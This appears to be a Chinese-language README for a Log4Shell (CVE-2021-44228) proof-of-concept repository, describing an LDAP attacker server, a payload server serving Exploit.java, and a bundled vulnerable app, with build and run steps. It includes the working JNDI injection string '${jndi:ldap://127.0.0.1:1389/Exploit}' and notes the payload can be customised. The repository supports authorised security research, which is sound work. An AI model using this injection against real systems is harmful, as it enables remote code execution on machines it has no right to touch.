
Log4Shell (CVE-2021-44228) 的远程代码执行 PoC
该仓库允许安全研究人员通过提供一个攻击服务器的实现来试验远程代码执行,该攻击服务器会在包含 log4j 的易受攻击应用程序上加载自定义漏洞利用。
⚠️ 该工具仅用于自我评估,且只能由授权人员或研究人员使用。 你只应测试你拥有明确许可或权限的系统。如果你发现易受攻击的应用程序或库,你应遵循负责任地披露。
CVE-2021-44228 的工作原理是向日志中注入 JNDI LDAP 字符串,这会触发 Log4j 联系指定的 LDAP 服务器以查找更多信息。在恶意场景中,LDAP 服务器随后可向受害机器提供代码,该代码将在内存中自动执行。
该仓库包含两个子项目。attacker-server 项目包含两个线程服务器的源代码。第一个是一个 LDAP 代理,接收对 LDAP 对象的初始请求。第二个服务器是 payload 服务器,将漏洞利用(存在于 Exploit.java 中)返回给易受攻击的应用程序。
在项目根目录下:
mvn clean install
服务器和易受攻击的应用程序都应准备就绪。
为了加载服务器,执行:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
为了触发 RCE,执行
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
你可以通过扩展 Exploit.java 根据需要更改恶意 payload。